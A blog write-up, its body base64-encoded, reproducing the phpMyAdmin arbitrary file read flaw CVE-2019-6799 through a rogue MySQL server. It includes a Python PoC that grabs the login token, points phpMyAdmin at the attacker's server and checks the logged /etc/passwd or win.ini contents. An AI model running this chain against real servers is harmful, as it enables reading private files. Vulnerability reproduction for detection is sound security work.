phpMyAdmin任意文件读取漏洞复现（CVE-2019-6799）以及检测POC编写

IyMgMHgwMCDliY3oqIAK56ys5LiA5qyh5Y+R5paH56ug77yM5oSf6KeJ6Ieq5bex5aW96I+c5ou/5LiN5Ye65p2l5LuA5LmI5aW95Lic6KW/5YiG5Lqr77yM5Y+q6IO95YaZ5YaZ5bCP5bCP55qE5qOA5rWL6ISa5pys5LqG44CC6L+Z5Liq5ryP5rSe5aSN546w5pa55rOV55yf55qE5piv5om+5LqG5aW95LmF44CC5pCcQ1ZF57yW5Y+35oCO5LmI6YO95pCc5LiN5Yiw77yM5pyA5ZCO5pCc57SiQWxsb3dBcmJpdHJhcnlTZXJ2ZXLmib7liLDnmoTvvIzlkoxDVkXmj4/ov7DkuIDmqKHkuIDmoLfnmoTku7vmhI/mlofku7bor7vlj5bmvI/mtJ7jgILvvIjlk47vvIzmiJHlpKroj5zkuoblj6rog73liLDlpITmib7mlrnms5XmnaXlpI3njrDvvInjgILkuZ/nrpfmmK/mkKzov5DkuIDkuIvmlrnms5XlkKfjgILohJrmnKzlhpnnmoTmr5TovoPnroDpmYvkuZ/kuI3lpJ/kvJjpm4XvvIzku4Xkvpvlj4LogINRQVEKIyMgMHgwMSDmvI/mtJ7nroDku4sKCuW9k0FsbG93QXJiaXRyYXJ5U2VydmVy6YWN572u6KKr6K6+572u5oiQ5Li64oCYdHJ1ZeKAmeaXtu+8jOaIkeS7rOWPr+S7peWcqOeZu+W9lemhtemdouiuvue9ruaJgOi/nuaOpeacjeWKoeWZqOeahElQ44CCCgrkuo7mmK/mnoTpgKDmgbbmhI9NWVNRTOacjeWKoeWZqO+8jOS9v+eUqOaBtuaEj01ZU1FM5pyN5Yqh5Zmo6ISa5pys77yM6L+Z5pe25oiR5Lus5Zyo55m75b2V6aG16Z2i6L+e5o6l5oiR5Lus55qE5oG25oSPbXlzcWzmnI3liqHlmajljbPlj6/lrozmiJDku7vmhI/mlofku7bor7vlj5bvvIzorr/pl67miJDlip/kvJrnlJ/miJDml6Xlv5fvvIzml6Xlv5fkuK3kvJrljIXlkKvlt7Lor7vliLDnmoTmlofku7bjgIIKCuaBtuaEj215c3Fs5pyN5Yqh5LiL6L295Zyw5Z2A77yaCgpgaHR0cHM6Ly9naXRodWIuY29tL3Z1bG5zcHkvcGhwbXlhZG1pbi00LjguNC1hbGxvd2FyYml0cmFyeXNlcnZlcmAK5ryP5rSe5b2x5ZON6IyD5Zu077yaCueJiOacrOWPt++8mjQuMCAtIDQuOC40CiMjIDB4MDIg5ryP5rSe5aSN546wCui/memHjOaIkeeUqOeahOaYr3BocG15YWRtaW4tNC44LjQK546v5aKD5pCt5bu677ya6L+Z5Liq5bqU6K+l5rKh5LuA5LmI6K+055qE5LqG44CC55u05o6l5oqKcGhwbXlhZG1pbuaUvuWcqOe9keermeagueebruW9leS4i+iuv+mXruWwseihjOS6hgrkv67mlLnphY3nva7mlofku7bvvJovcGhwbXlhZG1pbi9saWJyYXJpZXMvY29uZmlnLmRlZmF1bHQucGhw5paH5Lu25bCGQWxsb3dBcmJpdHJhcnlTZXJ2ZXLmlLnkuLp0cnVlCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzgzM2FlN2E4OGJmOTlmYTY2MzU4NzVhNmNmYmQxNDQ4XzM3ODA0LnBuZykK6L+Z5Liq5YC86buY6K6k5pivZmFsc2XvvIjmiYDku6Xlhbblrp7ov5nkuKrmvI/mtJ7mjLrpuKHogovnmoTvvIzlvojlsJHmnInkurrkvJrmiorov5znqIvorr/pl65teXNxbOacjeWKoeWZqOeahOmFjee9ruaJk+W8gO+8iQpmYWxzZeaXtueahOi/meagt++8mgohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS9mNmFlODY0OGEyMzcyZDYzMGIxNTA4YzRiOWU0ZTg4M184NzMwNC5wbmcpCnRydWXml7bnmoTov5nmoLfvvJoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvMWMzZWEzNjU0NjQ4MWYyOTFlOTc5MWFjOWMzZTU1YzRfNzA5MTIucG5nKQpva+OAgui/memHjOeOr+Wig+WwsemFjee9ruWujOaIkOS6hgrlj6/ku6XlvIDlp4vlpI3njrDkuobvvIzov4fnqIvlvojnroDljZUK5oG25oSPTVlTUUzmnI3liqHlmahJUO+8mjEwLjAuMTMuMTcxCuebruagh3BocG15YWRtaW7mnI3liqHlmahJUO+8mjEwLjAuMTMuMTc4CjEu5omT5byA5oiR5Lus5LmL5YmN5YeG5aSH5aW955qE5oG25oSPbXlzcWwKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvZGE1MzQ0ZmI3MmY3YTU4Mjc3YTMxY2Q2MmVjYTA2ZjBfOTExNTUucG5nKQoyLui/memHjOaIkeS4uuS6huS5i+WQjuWGmXBvY+iEmuacrOaWueS+v+aJgOS7peaUueS6hue6ouahhumHjOeahOWcsOaWuQohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS8zMDczZGNmNDdiMjNjMjdlODI4YTZkZTU0ZjhkYjQ3Yl85MDQ2NC5wbmcpCjMu6L+Q6KGM6K+l6ISa5pysCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5L2VhZjY0ZGU3M2E4ZTZlYmY2NDhjYmQ1YmJlOTRhNjM1XzU5MzQ3LnBuZykK55uR5ZCs5bey57uP5byA5ZCvCjQu5oiR5Lus5Zyo55uu5qCH5pyN5Yqh5Zmo5LiK6K6/6Zeu5oiR5Lus55qE5oG25oSPbXlzcWzmnI3liqHlmagKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvY2I1NmZlMWM5NGRjNTYwOTg1ZDZjMDNkYjdkMGU2Y2RfNDE1ODkucG5nKQo1Luafpeeci+aBtuaEj215c3Fs5pyN5Yqh5Zmo55Sf5oiQ55qE5pel5b+X5paH5Lu2CiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5L2M4NDAxMTIzOGVjZWVlNGU3MTAxOTRmZDBlMTEyNDZmXzM2ODk3LnBuZykK55yL5Yiw55m76ZmG5LiK5Y675LqGKOi0puWPt+Wvhueggemaj+S+v+i+k+WFpSnvvIzogq/lrprkvJrmiqXplJnvvIzov5nph4zkuI3nlKjnrqHku5bvvIznm7TmjqXmn6XnnIvmiJHku6znmoTml6Xlv5cKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvMWU0ODY5YmQ4YTZiYzRiNTZjZTc3Y2ZmNDI3YzU0NWVfODQ2NDEucG5nKQror7vlj5bliLDkuoYvZXRjL3Bhc3N3ZOeahOWGheWuuQrliLDov5nph4zlpI3njrDlsLHlrozmiJDkuobjgIIKIyMgMHgwMyBweXRob24gcG9j57yW5YaZCnBvY+e8luWGmeS5n+avlOi+g+W4uOinhO+8jOWUr+S4gOimgeazqOaEj+eahOaYr+i/memHjOeZu+W9leeahOaXtuWAmemcgOimgeW4puaciXRva2Vu77yM5LiN54S25Lya6K+d5Lya6KKr6YeN572u44CCCjEu5Li65LqG5aSa5qyh5qOA5rWL5LiN5Lya6YCg5oiQ56uv5Y+j5Y2g55So77yM5oiR5Lus5YWI6LCD55So57O757uf5ZG95Luk5p+l55yL5piv5ZCm6ZyA6KaBa2lsbOaOieS5i+WJjeeahOacjeWKoQpgYGAKI+eUseS6juWIpOaWreaYr+ivu+WPluaXpeW/l+aWh+S7tuS4reeahOWGheWuue+8jOW5tuS4lOaIkeS7rOS4gOWumuS8muWkmuasoei/kOihjFBPQ++8jOaJgOS7peWFiOWIpOaWreS4gOS4i+aWh+S7tuaYr+WQpuWtmOWcqO+8jOW5tuS4lOmAmui/h+ezu+e7n+WRveS7pOW5suaOieS5i+WJjeeahOaBtuaEj215c3Fs6L+b56iL77yM6Ziy5q2i56uv5Y+j5Yay56qBCiBpZiBvcy5wYXRoLmlzZmlsZShteXNxbF9maWxlX2xvZyk6CiAjb3Muc3lzdGVtKCdybSAtZiB7ZmlsZW5hbWV9Jy5mb3JtYXQoZmlsZW5hbWU9bXlzcWxfZmlsZV9sb2cpKQogY21kMSA9ICdwZ3JlcCAtZiByb2d1ZV9teXNxbF9zZXJ2ZXIucHknCiBjbWRfc3ViID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQxLCBzdGRpbj1zdWJwcm9jZXNzLlBJUEUsCiBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLAogc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwKIHNoZWxsPVRydWUKICkKIGJhZF9zcWxfcGlkID0gY21kX3N1Yi5zdGRvdXQucmVhZCgpCiBpZiBiYWRfc3FsX3BpZCAhPSAnJzoKIG9zLnN5c3RlbSgna2lsbCAtOSB7cGlkfScuZm9ybWF0KHBpZD1iYWRfc3FsX3BpZCkpCiBlbHNlOgogcGFzcwogZWxzZToKIHBhc3MKICMg5omn6KGMcm9ndWVfbXlzcWxfc2VydmVyCiBvcy5zeXN0ZW0oJ3B5dGhvbjIgcm9ndWVfbXlzcWxfc2VydmVyLnB5JykKYGBgCjIu6L+Z6YeM5oiR5Lus6ZyA6KaB5bimdG9rZW7orr/pl64KdG9rZW7kuIDoiKzkvJrlnKhodG1s5rqQ56CB5oiW6ICFaHR0cOWTjeW6lOWktOmHjO+8jOi/memHjOeahOWcqOa6kOeggeS4rQohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS8yZmE1MGJmMWJmZjExNTAyMmE0MTU4YjU1ZmZjZWEyOV8xNjE4Ny5wbmcpCuS6juaYr+aIkeS7rOmcgOimgemAmui/h2JzNOadpeaPkOWPlui/memHjOeahHRva2Vu77yM6K6w552A5LiA5a6a6KaB5byA5ZCvc2Vzc2lvbuadpeS8oOaVsOaNru+8jOWboOS4uuavj+S4qnNlc3Npb27nmoR0b2tlbuaYr+WUr+S4gOeahOOAguebtOaOpeeIrOeahOivne+8jHRva2Vu5Lya5LiN5LiA6Ie055qE44CCCuWFs+mUruS7o+eggeWmguS4iwpgYGAKICPnrKzkuIDmrKHojrflj5Zjb29raWXlkox0b2tlbgogI+WumuS5iei3r+W+hOWSjOivt+axguWktAogcG1hX3BhdGggPSAnL3BocG15YWRtaW4vJwogdXJsID0gJ2h0dHA6Ly97aXB9Ontwb3J0fXtwbWFfcGF0aH0nLmZvcm1hdChpcD1pcCxwb3J0PXBvcnQscG1hX3BhdGg9cG1hX3BhdGgpCiBnZXRfaGVhZGVycyA9IHsiVXNlci1BZ2VudCI6ICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgIgogIihLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ5LjAuMjYyMy4xMTIgU2FmYXJpLzUzNy4zNiJ9CiAj5Zug5Li66KaB5bimdG9rZW7orr/pl67vvIzmiYDku6XmiJHku6zkuIDlrpropoHlnKjkuIDkuKpzZXNzaW9u5Lit6L+b6KGM6K+35rGCCiBzID0gcmVxdWVzdHMuc2Vzc2lvbigpCiByZXMxID0gcy5nZXQodXJsLGhlYWRlcnM9Z2V0X2hlYWRlcnMpCiBodG1sX3RleHQgPSByZXMxLnRleHQKIGNvb2tpZV9oZWFkZXJzID0gcmVzMS5oZWFkZXJzCiAj6I635Y+W5ZON5bqU5aS05LitY29va2ll77yM5LiL5qyh6K6/6Zeu6ZyA6KaB5bim552A6L+Z6YeM55qEY29va2llCiBzZXRfY29va2llID0gY29va2llX2hlYWRlcnNbJ1NldC1Db29raWUnXQogI+mAmui/h+ato+WImeWMuemFjeaLv+WIsGNvb2tpZeWAvAogcG1hX2lkX3JlX3J1bGUgPSByZS5jb21waWxlKHIncGhwTXlBZG1pbj0oLiopOyBwYXRoPScpCiBwbWFfaWQgPSBwbWFfaWRfcmVfcnVsZS5zZWFyY2goc2V0X2Nvb2tpZSkuZ3JvdXAoMSkKICPliJvlu7pic+Wvueixoe+8jOiOt+WPluihqOWNleeahHRva2VuCiBicyA9IEJlYXV0aWZ1bFNvdXAoaHRtbF90ZXh0LCdodG1sLnBhcnNlcicpCiBpdGVtcyA9IGJzLmZpbmQoY2xhc3NfPSdkaXNhYmxlQWpheCcp44CBCiAj5pyJ5aSa5LiqaW5wdXTmoIfnrb7miJHku6znrZvpgIluYW1lPXRva2Vu55qE6YKj5LiqCiB0b2tlbl9pdGVtID0gaXRlbXMuZmluZF9hbGwoJ2lucHV0JyxhdHRycz17J25hbWUnOid0b2tlbid9KQogdG9rZW4gPSB0b2tlbl9pdGVtWzBdWyd2YWx1ZSddCiAj6L+Z6YeM6ZyA6KaB57uZdG9rZW7ov5vooYx1cmznvJbnoIEKIHRva2VuX3VybGVuY29kZSA9IHVybGxpYi5xdW90ZSh0b2tlbikKICPnu4TlkIjmiJHku6znmoRQT1NU55qEZGF0YeaVsOaNrgogZGF0YSA9ICdzZXRfc2Vzc2lvbj17cG1hX2lkfSZwbWFfc2VydmVybmFtZT17bGhvc3R9OntscG9ydH0mcG1hX3VzZXJuYW1lPXJvb3QmcG1hX3Bhc3N3b3JkPXJvb3Qmc2VydmVyPTEmdGFyZ2V0PWluZGV4LnBocCZ0b2tlbj17dG9rZW59Jy5mb3JtYXQocG1hX2lkPXBtYV9pZCxsaG9zdD1saG9zdCxscG9ydD1scG9ydCx0b2tlbj10b2tlbl91cmxlbmNvZGUpCiAj56ys5LqM5qyh5bimdG9rZW7orr/pl64KIHBvc3RfaGVhZGVycyA9IHsKICJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAiCiAiKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDkuMC4yNjIzLjExMiBTYWZhcmkvNTM3LjM2IiwKICJDb25uZWN0aW9uIjogImNsb3NlIiwKICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIgogfQogI+WPkemAgVBPU1TmlbDmja4KIHJlczIgPSBzLnBvc3QodXJsLGhlYWRlcnM9cG9zdF9oZWFkZXJzLGRhdGE9ZGF0YSkKICNwcmludCBsZW4ocmVzMi50ZXh0KQogcy5jbG9zZSgpCiBwcmludCAnZGF0YSBzZW5kIG9rJwpgYGAKMy7or7vlj5bml6Xlv5fmlofku7blubbliKTmlq0K6L+Z6YeM5oiR5Lus5Y+q5piv55So5p2l5qOA5rWL5ryP5rSe5piv5ZCm5a2Y5Zyo77yM5Zug5q2k5oiR5Lus5bCx6K+7d2luLmluaeWSjHBhc3N3ZOaWh+S7tuOAguW5tuS4lOmAmui/h+eugOWNleeahOato+WImeWIpOaWreaYr+WQpuWtmOWcqOWFs+mUruWtl+WNs+WPrwpgYGAKICPmiZPlvIDml6Xlv5fmlofku7blubbmn6XnnIvlhoXlrrkKIGZpbGUxID0gb3BlbihteXNxbF9maWxlX2xvZywgJ3InKQogZmlsZV9jb250ZW50ID0gZmlsZTEucmVhZCgpCiBmaWxlMS5jbG9zZSgpCiAjcHJpbnQgZmlsZV9jb250ZW50CiAj5q2j5YiZ5Yy56YWN5Lik56eN5YaF5a6577yM5LiA56eN5pivd2luLmluae+8jOS4gOenjeaYry9ldGMvcGFzc3dk55qE5YaF5a6544CC6L+Z5qC35oiR5Lus5LiN566h5a+55pa55pivd2luZG93c+i/mOaYr2xpbnV46YO95Y+v5Lul6L+b6KGM5Yik5pat44CCCiB3aW5kb3dzX3JlX3J1bGUgPSByZS5jb21waWxlKHInLiphcHAgc3VwcG9ydC4qZm9udHMuKmV4dGVuc2lvbnMnLHJlLkkpCiBsaW51eF9yZV9ydWxlID0gcmUuY29tcGlsZShyJ3Jvb3Q6eDowOjA6JyxyZS5JKQogI+ebtOaOpeWIpOaWreato+WImeihqOi+vuW8j+eahGJvb2zlgLzvvIzlpoLmnpzkuLp0cnVl5Y2z5a2Y5Zyo5ryP5rSe77yM5ZCm5YiZ5rKh5pyJ5ryP5rSe44CCCiB3aW5kb3dzX210X2Jvb2wgPSBib29sKHdpbmRvd3NfcmVfcnVsZS5zZWFyY2goZmlsZV9jb250ZW50KSkKIGxpbnV4X210X2Jvb2wgPSBib29sKGxpbnV4X3JlX3J1bGUuc2VhcmNoKGZpbGVfY29udGVudCkpCiBpZiB3aW5kb3dzX210X2Jvb2w6CiBwcmludCgnQ1ZFLTIwMTktNjc5OSBleGlzdHMnKQogZWxpZiBsaW51eF9tdF9ib29sOgogcHJpbnQoJ0NWRS0yMDE5LTY3OTkgZXhpc3RzJykKIGVsc2U6CiBwcmludCgnbm8gdnVsJykKYGBgCm9r44CC6L+Z5qC35qOA5rWL6ISa5pys5bCx5YaZ5aW95ZWm44CCCuajgOa1i+e7k+aenOaYr+i/meagt+eahO+8mgohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS9hNWRiZjg3N2Q5MWIwNWJlZDUxZDZiZTMwY2RlZTYwYl83NDA5Ny5wbmcpCuWujOaVtOiEmuacrOingemZhOS7tu+8gQojIyDlj4LogIMKYGh0dHBzOi8vd3d3LnZ1bG5zcHkuY29tL2VuLXBocG15YWRtaW4tbG9hZC1kYXRhLWxvY2FsLWZpbGUtcmVhZC1sb2NhbC1maWxlL2AKYGh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL3dhdGNoP3Y9aDZYeTVjMFBreWdg